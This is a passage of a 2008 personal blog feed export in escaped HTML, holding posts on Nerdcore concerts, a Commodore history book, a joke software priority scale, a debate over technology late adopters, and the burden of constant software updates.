distracting to the live performances with the flash, so I took very few pictures total. If a picture came out bad, I didn't try again.&lt;br /&gt;&lt;br /&gt;Here we go:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SRptUqy2ooI/AAAAAAAAADY/dFEjVyEtWZc/s1600-h/PB090029.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5267642916015612546" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 344px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_RKccMqogNXc/SRptUqy2ooI/AAAAAAAAADY/dFEjVyEtWZc/s400/PB090029.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is the opening act Nerdcore rapper "Dual Core". He was actually very good. But what I wanted to point out with this picture is how utterly filthy this place is. All those specks you see in the picture are bits of filth in the air that were caught by my flash. There was no smoking (of any kind) going on. This place was just dirty and grimy...and sticky!! The floor was sticky, the seats were sticky, everything was sticky. After I had been there for 30 minutes, I somehow became sticky too. It was very gross. I don't think even the alcohol was sterile in this place.&lt;br /&gt;&lt;br /&gt;This place is a "bar" (I'm doing air-quotes around that word "bar") in a very run down part of Chicago. It's apparently known for good hardcore underground performances. This was definitely an edgier group of nerds than normal for a Nerdcore show.&lt;br /&gt;&lt;br /&gt;Since this was Chicago, and a Saturday night, I expected a big crowd, but instead there was only a small crowd. I'm attributing that to the fact that this location probably scared most nerds away.&lt;br /&gt;&lt;br /&gt;By comparison, the crowd in Minneapolis was huge, even though it was a Monday night. The Minneapolis showing was in a relatively nice bar in a safer part of town.&lt;br /&gt;&lt;br /&gt;The cool part of my experience is that just before the Chicago Nerdcore concert, I was attending the Chicago Symphony Orchestra where I had managed to get a luxury box seat among the Chicago elite! I went from the most refined musical experience you could imagine to the most raw musical environment that you really don't want to image...and I managed to be equally awkward and out of place in both settings!&lt;br /&gt;&lt;br /&gt;A true nerd is out of place anywhere...even alone! :) :)&lt;br /&gt;&lt;br /&gt;After the orchestra performance was over (very awesome btw), I had a comical mad dash back to my hotel room to change from fancy clothes into "street" clothes and hoodie!  Ooooo don't mess with me....because I have a hoodie! That means I'm from the hood! Or I'm just very cold...which I was.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SRpxlFQSWQI/AAAAAAAAADg/k1kYoSEykMw/s1600-h/PB090030.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5267647596042803458" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 343px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_RKccMqogNXc/SRpxlFQSWQI/AAAAAAAAADg/k1kYoSEykMw/s400/PB090030.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is another nerd rapper...who's name I'm not saying because it would require a big long explanation that isn't really interesting. There were a lot of nerd girls of all ages in attendance, which I was happy to see, even if they were all out of my league. :-P&lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SRpxrIQ-NmI/AAAAAAAAADo/ZG-nm8a-chE/s1600-h/PB090037.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5267647699930199650" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 378px; CURSOR: pointer; HEIGHT: 400px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_RKccMqogNXc/SRpxrIQ-NmI/AAAAAAAAADo/ZG-nm8a-chE/s400/PB090037.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is MC Lars and YTC. This is a bad picture of Lars, but it's the only picture of him I took at this show.  With a real band, Lars sounded a less HipHop and more HardRock to me...which was *AWESOME*.&lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SRpxyhJeXvI/AAAAAAAAADw/pHy_KFkv1OM/s1600-h/PB090039.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5267647826868723442" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 283px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_RKccMqogNXc/SRpxyhJeXvI/AAAAAAAAADw/pHy_KFkv1OM/s400/PB090039.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here is MC Frontalot himself with his band, and YTC on guitar and vocals. YTC was really the multi-talented nerd-of-all trades for this show.  I have new-found respect for YTC.  He is a SERIOUS talent.&lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SRpx88FMG9I/AAAAAAAAAD4/OJP1hPC9NXg/s1600-h/PB090043.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5267648005897198546" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 300px; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_RKccMqogNXc/SRpx88FMG9I/AAAAAAAAAD4/OJP1hPC9NXg/s400/PB090043.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Nerd Power!&lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SRpyGb0_CZI/AAAAAAAAAEA/2M6oZ7xhyuk/s1600-h/PB090049.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5267648169037990290" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 354px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_RKccMqogNXc/SRpyGb0_CZI/AAAAAAAAAEA/2M6oZ7xhyuk/s400/PB090049.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;If I had an explanation for this picture...would you even want it? &lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RKccMqogNXc/SRpybuaIWxI/AAAAAAAAAEQ/SEik13Sc71g/s1600-h/PB100063.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5267648534802881298" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 300px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_RKccMqogNXc/SRpybuaIWxI/AAAAAAAAAEQ/SEik13Sc71g/s400/PB100063.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here is Lars and Front at the Minneapolis show. It was very cold...even indoors!&lt;br /&gt;&lt;br/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RKccMqogNXc/SRpymUwHZZI/AAAAAAAAAEY/4vi_jqc8RrM/s1600-h/PB110065.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5267648716894332306" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: pointer; HEIGHT: 300px; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_RKccMqogNXc/SRpymUwHZZI/AAAAAAAAAEY/4vi_jqc8RrM/s400/PB110065.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;After a while everyone warmed up and worked up quite a sweat. Lars especially was high energy and jumping all over the stage...yet he kept his coat on! I think it was a fashion thing for him*.&lt;br /&gt;&lt;br /&gt;So, that's the end of my pictures. These were great concerts and I think it's really cool to see the nerd community have its own little (but vibrant) form of expression.&lt;br /&gt;&lt;br /&gt;I think the Minneapolis showing won a lot of converts. I heard this little mousy lady at the bar talking to her friend, and I assume she is an English teacher...because she said in a really excited voice "Oh!! And when Lars was on stage breaking down the difference between Iambic Tetrameter and Iambic Pentameter...I just...I felt my life was now complete!!"&lt;br /&gt;&lt;br /&gt;And that pretty much sums up the whole spirit of Nerdcore right there. It's a music genres that speaks to the people in their own rarefied, specialized, or outcast language. It speaks to the real life experiences of us nerds, and that's what makes it "real" and not just paraody.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;------------------------------------------------&lt;br /&gt;&lt;span style="font-family:Arial;font-size:12;color:black;"&gt;&lt;br /&gt;*I have a long-standing theory that you have to live in a cold climate to look cool. Remember how the movie "The Matrix" had all that cool leather clothing and those long coats? Now imagine wearing that stuff on a typical 98 degree day in the Midwest or South. The list of movies and T.V. shows that are always seemingly filmed in the dead of winter is ever-growing. Once I started looking for it, I see it all the time!  You have to have a lot of layers of clothes to look bad-ass...and that's just not practical in any place I've ever lived!&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-9157470492063545004?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/9157470492063545004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=9157470492063545004' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/9157470492063545004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/9157470492063545004'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/11/nerdcore-2008.html' title='Nerdcore 2008'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_RKccMqogNXc/SRptUqy2ooI/AAAAAAAAADY/dFEjVyEtWZc/s72-c/PB090029.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-5456553143578089925</id><published>2008-11-03T09:31:00.005-06:00</published><updated>2008-11-03T21:20:03.829-06:00</updated><title type='text'>The Microcomputer Temporal Cold War</title><content type='html'>&lt;span style="font-family:Arial; font-size:16px; color:black;"&gt;&lt;br /&gt;&lt;br /&gt;I just finished reading an amazing book: &lt;br /&gt;&lt;a href="http://www.variantpress.com/books/on-the-edge"&gt;"On The Edge: The Spectacullar Rise and Fall of Commodore"&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the early days of microcomputers, I was mostly into Apple and IBM computers, and I never followed the daily happenings of Commodore very closely.  But after reading this book, I now have a good understanding of Commodore computers, and I am frankly astonished at what they were able to do given the circumstances and personalities involved.&lt;br /&gt;&lt;br /&gt;However, what amazed me most was seeing the computer industry though the eyes of the surviving engineers and developers who were interviewed for this book.  The Commodore engineers quoted in this book were not impressed (to put it mildly) with Apple.&lt;br /&gt;&lt;br /&gt;I have read similar books from Apple engineers who were equally unimpressed with Commodore.  From the accounts of the Apple engineers, they remembered the Commodore PET being a joke.  It didn't have color or sound or a disk drive, and it had a ridiculous keyboard that make it just impossible to use. &lt;br /&gt;&lt;br /&gt;From the accounts of the Commodore engineers in this book, they remember the Apple as being a 3rd place loser computer that was way overpriced, didn't have lower case letters, was technically inferior to the PET, and it just looked dumb.&lt;br /&gt;&lt;br /&gt;The Apple legend is that Steve Wozniak was a genius engineer who brilliantly designed the Apple architecture that lasted over a decade.  The Commodore version of the story is that Steve Wozniak was just a hacker, and he was lazy and uninspiring and Apple had to hire lots of "real" engineers to take over his role.&lt;br /&gt;&lt;br /&gt;These were fast and furious times in the fledgling computer industry.  There was lots of turnover, radical change, guarded secrets, and bankruptcy.  There is very little hard documentation or evidence of everything that happened in these days.  What we are left with is all the stories from all the engineers who were there and part of the revolution.&lt;br /&gt;&lt;br /&gt;And as I kept reading this book and reading the stories these Commodore Engineers were telling, it occured to me:  &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;The battle to be the best Microcomputer in 1979 is STILL BEING WAGED TODAY!&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Like some kind of Star Trek Temporal Cold War, all the original developers and engineers from Apple, Tandy, Commodore, T.I., Atari, and IBM are actively spinning history to make it look like they were the best.  Maybe it's really the case that each of their stories is true from their perspective.  And maybe they sense the others are exaggerating facts, and that gives them license to do the same.&lt;br /&gt;&lt;br /&gt;There was an unbelievable amount of passion put into the computer revolution back in the early 80's, both by the engineers and the users of these computers.  I was only a pawn in the battle, a vocal supporter of the Apple ][ in a hick rural town that had few computers.&lt;br /&gt;&lt;br /&gt;But to see that the battle is still being waged just really put a smile on my face.  I no longer hold a bias toward any side.  I love all of these first computers.  They are all magic, and I'm amazed to find that the embers of that fire are still glowing!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-5456553143578089925?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/5456553143578089925/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=5456553143578089925' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5456553143578089925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/5456553143578089925'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/11/microcomputer-temporal-cold-war.html' title='The Microcomputer Temporal Cold War'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-6776617448899313009</id><published>2008-05-27T21:00:00.013-05:00</published><updated>2008-06-16T07:58:54.471-05:00</updated><title type='text'>The Software Professional's Real World Priority Scale</title><content type='html'>&lt;br/&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;&lt;span style="COLOR: rgb(0,0,0)"&gt;Low&lt;/span&gt; &lt;/span&gt;- A project or upgrade that is critically important, useful, effective, and vital to the future of whole team...but doesn't have to be done today. Since everyday is today, this will never happen.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: rgb(102,0,204)"&gt;Medium&lt;/span&gt; - A project with a high enough priority to start, but not a high enough priority to ever finish.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: rgb(51,51,255)"&gt;High&lt;/span&gt; - A project that is utterly useless and tedious, and so you have put off until the last possible moment. You must drop everything and do it right now.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: rgb(0,153,0)"&gt;Urgent&lt;/span&gt; - A project that can be easily accomplished in the time allowed, however nobody told you about the project until most of that time had already expired. You can do a rush job or you can miss your deadline. Most likely you will do both.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: rgb(255,102,0)"&gt;Meteoric&lt;/span&gt; - A project that has a quickly approaching and unmovable deadline...like a meteor falling out of the sky. You have a fixed amount of time to make the best of the situation and minimize damage. The deadline is not the end of the project, but rather the beginning of the cleanup phase.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: rgb(255,0,0)"&gt;Lightning&lt;/span&gt; - You aren't assigned a project so much as you are struck by one. The only deadline is "now". Some would call this "Emergency" priority, but I prefer the term "Lightning" because such projects only strike the highest visibility employees and not those who have learned to keep their heads down.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: 800; COLOR: rgb(255,255,255); BACKGROUND-COLOR: rgb(0,0,0)"&gt;GALACTIC&lt;/span&gt; - A project of great scope and dramatic urgency. You are the only one who can save the day, and absolutely everything is at stake. You are the Last Starfighter. (If you don't know what that is, you need to get out less.) Everyone will be watching, so if you want to be a hero, now is your chance to shine.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: rgb(102,102,102); FONT-STYLE: italic"&gt;&lt;span style="font-size:130%;color:#663333;"&gt;Epic&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt; &lt;/span&gt;- A project of grave importance that is mythically long and fraught with peril. Everything and everyone depends on you…Frodo Baggins. Any sense of urgency is tempered by equal measures of dread and weariness. Those who help you on a volunteer basis will eventually realize their limits and fall by the wayside. This is not just a project…this will become your whole life for months to come.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: rgb(51,204,255)"&gt;L&lt;span style="color:#cc33cc;"&gt;u&lt;/span&gt;&lt;span style="color:#009900;"&gt;d&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;i&lt;/span&gt;&lt;span style="color:#3333ff;"&gt;c&lt;/span&gt;&lt;span style="color:#666666;"&gt;r&lt;/span&gt;&lt;span style="color:#ffcc33;"&gt;o&lt;/span&gt;&lt;span style="color:#663366;"&gt;u&lt;/span&gt;&lt;span style="color:#33cc00;"&gt;s&lt;/span&gt;&lt;/span&gt; – A project in which the first requirement is to build a time machine. Whatever needs to be done cannot physically be done at all by any means in the time allowed. This often happens when a person with no technical experience assumes that computers are just magic boxes that can convert any PowerPoint presentation into a working system in a matter of seconds.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-6776617448899313009?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/6776617448899313009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=6776617448899313009' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/6776617448899313009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/6776617448899313009'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/05/software-professionals-real-word.html' title='The Software Professional&apos;s Real World Priority Scale'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-8948055461897515055</id><published>2008-03-13T09:33:00.013-05:00</published><updated>2008-03-18T09:27:52.384-05:00</updated><title type='text'>The Technology Debate</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_RKccMqogNXc/R9_Q-ixz2pI/AAAAAAAAACQ/gnbFl48nWUs/s1600-h/you-v-tech.gif"&gt;&lt;img id="BLOGGER_PHOTO_ID_5179087869405551250" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_RKccMqogNXc/R9_Q-ixz2pI/AAAAAAAAACQ/gnbFl48nWUs/s400/you-v-tech.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;I was reading an article on Slashdot about technology late adopters. It featured a man who kept using the Netscape browser until he was literally forced to use something newer. From his point of view, Netscape worked, so why bother ever changing?&lt;br /&gt;&lt;br /&gt;In the comments section below the article, an interesting argument took place:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;by Veritas1980 (1008679) on Thursday March 13, @07:47AM &lt;/em&gt;&lt;br /&gt;&lt;em&gt;-----------------------------------------------------------------&lt;br /&gt;Many people are just so stubborn, so set in their ways, that they are blind to innovation and practical change. It is this kind of purposeful ignorance that keeps people from learning, from growing intellectually. In my line of work, doing tech support, I run into this every single day. The older generations, 40+ have no concept of technology and most of them don't want to. There are people in this day and age who still do not own a computer. Not because they cannot afford it or do not have a use for it, but because they fear it or because they are too lazy to learn how to use it. This is often the case with new tech also. If it requires any sort of effort to learn, people try to pretend its not there and stick with what they have until it is no longer a viable option. This saddens me greatly. &lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;by Overzeetop (214511) on Thursday March 13, @07:55AM &lt;/em&gt;&lt;br /&gt;&lt;em&gt;-------------------------------------------------------------&lt;br /&gt;Interesting. So, what is your take on the recent developments in moment and portal frames in engineered wood construction? I find many people woefully ignorant of even the most simple principles of home construction, and yet practically everyone owns a home. Flashing? EIFS? That's not even getting into energy recovery ventilators and the latest developments in composite lumber products. Nearly every computer tech I know still lives in a house with a common furnace or heat pump, and *gasp* an unreinforced concrete masonry foundation, even though there are far more modern and superior systems which do so much more.&lt;br /&gt;&lt;/em&gt;&lt;em&gt;What was that? You just use your house to live in and it works just fine? Oh...&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;--------&lt;br /&gt;&lt;br /&gt;I think this is fascinating, partly because I can agree with both opposing points of view at the same time. &lt;/p&gt;&lt;p&gt;The field I work in (Software Engineering) is rich and dynamic beyond compare. No other profession past or present moves so far and so fast in any given decade. Most of what we learn one year is useless in 5 years. Name any other profession that evolves as quickly. I dare you. &lt;/p&gt;&lt;p&gt;This profession attracts people who have a passion for continuous learning of ever changing technologies, methodologies, and theories. Someone who fits that mold is going to be utterly perplexed by a person who doesn't ever want to upgrade their browser. Most people view technology as the means to an end (and rightly so!), whereas we view technology as the end itself. &lt;/p&gt;&lt;p&gt;People need to be able to computers the same way they use cars and television sets: without having to know anything about how it works. But at the same time, a computer is a fully interactive and dynamic technology, very unlike a car or a television set. &lt;/p&gt;&lt;p&gt;It is correct to say that the over-50 crowd is having an especially difficult time adapting to the increasingly dynamic nature of technology. But at the same time I truly believe that our industry has generally failed to produce transparent technologies that allow us to fully focus on the task at hand rather than on the technology itself. &lt;/p&gt;&lt;p&gt;It is for this reason users are more reluctant to change: Because any change is risky and potentially very time consuming. Users aren't lazy (usually), they are just practical about where they choose to spend their time, and most choose NOT to spend time fiddling with the dang computer! &lt;/p&gt;&lt;p&gt;My &lt;a href="http://dogic.blogspot.com/2008/02/hidden-cost-of-internet.html"&gt;previous post&lt;/a&gt; is just one example of the increasingly impractical expectations that are being placed on a modern computer user. If we do our jobs right, nobody should notice our software. &lt;/p&gt;&lt;p&gt;I WANT that guy who liked Netscape to be able to use that one interface for his whole life if that is what makes him effective. Upgrades should happen invisibly and gradually. &lt;/p&gt;&lt;p&gt;Established standards should allow a user to switch implementations (like switching from IE to Firefox) and not notice any change. Installing software should require lots of checks and verifications, both from the user and from an independent 3rd party database to validate compatibility and refuse spyware. &lt;/p&gt;&lt;p&gt;This crazy drive for "one click installations" has lead to the mess we are in with spyware. Our industry operates under a huge misconception that users resist installing new software because installing is too hard. The truth is they resist installing software because it is too dangerous, and one-click installations have only made it moreso. &lt;/p&gt;&lt;p&gt;The list of places where we've made software terribly opaque is long, and that is a much bigger problem than user resistance to learning new things.&lt;br /&gt;&lt;br /&gt;By the way, if you want to see what kind of guy "Veritas1980" is, check out his website:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.magnusveritas.net/"&gt;http://www.magnusveritas.net/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5680951-8948055461897515055?l=dogic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dogic.blogspot.com/feeds/8948055461897515055/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5680951&amp;postID=8948055461897515055' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/8948055461897515055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5680951/posts/default/8948055461897515055'/><link rel='alternate' type='text/html' href='http://dogic.blogspot.com/2008/03/technology-debate.html' title='The Technology Debate'/><author><name>Dogic</name><uri>http://www.blogger.com/profile/14325219327670723983</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_RKccMqogNXc/R9_Q-ixz2pI/AAAAAAAAACQ/gnbFl48nWUs/s72-c/you-v-tech.gif' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5680951.post-7704598130360186879</id><published>2008-02-28T11:04:00.010-06:00</published><updated>2008-02-29T09:46:30.014-06:00</updated><title type='text'>The Hidden Cost of the Internet</title><content type='html'>&lt;br/&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_RKccMqogNXc/R8gokfEFyXI/AAAAAAAAACI/9YhBtcplj3o/s1600-h/dialogic-restart.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5172428779314071922" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_RKccMqogNXc/R8gokfEFyXI/AAAAAAAAACI/9YhBtcplj3o/s400/dialogic-restart.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_RKccMqogNXc/R8gmofEFyWI/AAAAAAAAACA/Z4kZhstDiDQ/s1600-h/dialogic-restart.jpg"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The invention of the internet has made system maintenance far far more expensive and time consuming than ever before in the history of personal computers.&lt;br /&gt;&lt;br /&gt;The internet allows you to connect to any other computer on Earth, and this has major negative ramifications in terms of security and compatibility. You have to constantly upgrade every piece of software with security fixes, patches, service packs, and even new versions.&lt;br /&gt;&lt;br /&gt;I have a 30-year-old version of an Apple OS that is completely safe to use, because it doesn't connect to the internet. But on another computer that DOES connect to the internet, it would be digital suicide to run an un-patched version of any OS that is more than a year old!&lt;br /&gt;&lt;br /&gt;The internet brought shared digital content to the masses. This means you must keep up with what everyone else is doing. The technology enthusiasts at the front of the pack are dragging everyone else along with their constant upgrades. They create the websites that require you to upgrade your browser, no matter how happy you are with your IE 3.0. or Netscape 2.0.&lt;br /&gt;&lt;br /&gt;For 99% of the planet, Adobe Acrobat 3.0 was just fine, but we've all been badgered into upgrading and upgrading until now we are up to Acrobat version 8.1.2 and counting. New versions of Acrobat contain features we apparently "must" have, and then are quickly followed by security patches we "must" apply to fix critical holes in those very same new features!&lt;br /&gt;&lt;br /&gt;Not a week goes by that some piece of software I have (Nero, McAfee, Windows, Adobe, iTunes, Quicktime, MS Office, WinAmp, BitTorrent, Visual Studio, Ubuntu, Dawn of War, etc) doesn't exclaim loudly that I must apply new updates right now, and often with a computer restart! In every case I had some other task in mind that I wanted to accomplish rather than spend 15 minutes feeding the upgrade monster.&lt;br /&gt;&lt;br /&gt;None of this was necessary (or even possible) before my computer became connected to the Internet at all times.&lt;br /&gt;&lt;br /&gt;As a Software Engineer, I know I'm part of the problem. I push technology forward, and you all had better keep up with me or I'll turn your computer into an expensive paper weight! Now more than ever, the Internet makes you dependent on external systems and external servers (that I help create), and you must keep upgrading in order to remain compatible.&lt;br /&gt;&lt;br /&gt;I understand this incessant drive for progress. But in my other hobby as an amateur computer historian, it amazes me how difficult, expensive, and time consuming it has become to maintain a modern personal computer. Anyone who isn't a technical Jedi will soon find their computer overwhelmed with spyware, adware, trialware, viruses, software conflicts, and a constant flood of confusing "you must upgrade me now!" popup messages that come from every piece of software you have installed...and even some software you don't!&lt;br /&gt;&lt;br /&gt;Sometimes you are overwhelmed before you even get your computer out of the box, because most modern PC's come loaded with many dozens of trial-ware apps that you don't even want. And all of those programs will pester you relentlessly when your trial period expires! The only way to get rid of them is to fully un-install them.&lt;br /&gt;&lt;br /&gt;Anyone reading my blog probably thinks un-installing apps is easy, but I'm hear to tell you that well over half of all computer users either don't know how, or are afraid to because they might corrupt the system if they remove the wrong thing.&lt;br /&gt;&lt;br /&gt;I don't want to look at the past with rose-tinted lenses, because obviously the computers of the 80's were primitive. Obviously the Internet is awesome. But back then it sure was nice to know that once you got the OS and software installed, you never had to mess with it ever again!&lt;br /&gt;&lt;br /&gt;There is no easy solution to this problem. It would take some kind of major cultural shift to slow the pace of change or to put more controls on how the internet is used (and trace attackers).&lt;br /&gt;&lt;br /&gt;Until consumers make quality and stability a major priority, we are pretty much stuck. Oh, consumers WANT to make quality and stability a major priority, but the truth is that there aren't a lot of competitive alternatives for most types of software programs. Nobody can ever compete with Microsoft, so the best we can do is rely on volunteers to create free software like Linux and OpenOffice. But those kinds of programs are still way beyond the skill-level of your average user who thinks the internet is a big blue lower-case "e".&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 